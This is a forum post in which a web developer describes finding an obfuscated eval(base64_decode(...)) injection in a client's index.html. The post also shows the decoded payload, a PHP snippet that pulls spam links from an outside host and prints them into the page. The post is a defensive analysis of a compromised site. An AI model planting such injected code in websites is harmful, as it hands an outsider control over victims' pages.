base decode potential hack
Someone contacted me the other day about re-designing a site for them. Upon taking a look at the site (apache connection being attempted at the bottom of the html page) and viewing the source code it was loaded with spam links. I immediately advised them of what was going on and they had no idea.
...... was a long string of obfuscated code
PHP Code:
<?php eval(base64_decode(".........")); ?>
I changed "eval" to "print" and got the following...
PHP Code:
$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);} else{$r=implode("",file($l));} print @$r;
Luckily this wasn't anything that caused harm, because no code actually executed (maybe "curl" wasn't loaded remotely)...and it was only in index.html My guess is maybe a remote piece of code was parsing the php within the .html extension page.
I also found a folder on the site named "test" (junior hacker :D) with a bunch of subfolders w/ html link pages in them.
This person was wondering if perhaps the previous person that worked on the site could have done something malicious (of course not enough info provided to solve on the forum). I couldn't see anything in the log files that stood out to me, but I thought I would post to see if anyone had any thoughts.